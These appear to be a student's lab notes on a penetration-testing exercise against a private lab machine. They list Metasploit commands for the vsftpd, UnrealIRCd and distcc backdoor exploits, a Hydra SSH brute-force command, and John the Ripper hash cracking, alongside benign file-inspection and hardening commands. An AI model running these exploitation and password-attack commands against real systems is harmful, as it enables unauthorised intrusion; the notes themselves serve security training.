

Task 4 – Notes

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Task: Exploitation and System Security

1. Objective

To gain hands-on experience with penetration testing, exploitation, password auditing, malware analysis, and system hardening using security tools in a controlled lab environment.

2. Tools Used

- Kali Linux
- Metasploit Framework
- Hydra
- John the Ripper
- OpenSSL
- iptables
- ss
- apt
- Linux Terminal

3. Metasploit Commands

Start Metasploit

```
msfconsole
```

Starts the Metasploit Framework.

Search VSFTPD Exploit

```
search vsftpd
```

Searches for available VSFTPD exploit modules.

Use VSFTPD Exploit

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Loads the VSFTPD exploit.

Set Target

set RHOSTS 192.168.56.103

Specifies the vulnerable target machine.

Execute Exploit

run

Attempts exploitation.

Search UnrealIRCd Exploit

search unreal

Finds UnrealIRCd exploit modules.

Use UnrealIRCd Exploit

use exploit/unix/irc/unreal_ircd_3281_backdoor

Loads the UnrealIRCd exploit.

Search DistCC Exploit

search distcc

Finds the DistCC exploit module.

Use DistCC Exploit

use exploit/unix/misc/distcc_exec

Loads the DistCC exploit.

Configure Target

set RHOSTS 192.168.56.103

Sets the victim IP.

Execute

run

Starts exploitation.

4. Hydra Commands

SSH Password Attack

hydra -l msfadmin -P passwords.txt ssh://192.168.56.103

Attempts SSH password cracking using a wordlist.

Observation:

Modern Kali Linux uses newer SSH algorithms, causing compatibility issues with the older Metasploitable2 SSH service.

5. John the Ripper

Generate MD5 Hash

```
openssl passwd -1 password123
```

Creates an MD5 password hash.

Crack Password

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

Cracks the stored password hash.

Display Cracked Password

```
john --show hashes.txt
```

Displays recovered passwords.

6. Malware Analysis

Create Sample File

```
echo "This is a harmless malware analysis demo." > sample.txt
```

Creates a harmless sample file.

File Type

```
file sample.txt
```

Displays file type.

File Details

```
ls -lh sample.txt
```

Shows file size and permissions.

SHA-256 Hash

```
sha256sum sample.txt
```

Generates the SHA-256 hash.

7. System Hardening

Firewall Rules

`sudo iptables -L`

Displays firewall rules.

Running Services

`service --status-all`

Lists active services.

Open Ports

`ss -tuln`

Displays listening TCP/UDP ports.

Update Packages

`sudo apt update`

Refreshes package information.

8. Key Learnings

- Understood penetration testing methodology.
- Used Metasploit for vulnerability exploitation.
- Learned password auditing using Hydra and John the Ripper.
- Understood static and dynamic malware analysis concepts.
- Learned basic Linux system hardening techniques.
- Improved understanding of ethical hacking practices.

9. Conclusion

This task provided practical exposure to exploitation techniques, password auditing, malware analysis, and system hardening using industry-standard cybersecurity tools. It strengthened my understanding of both offensive and defensive security practices in a controlled lab environment.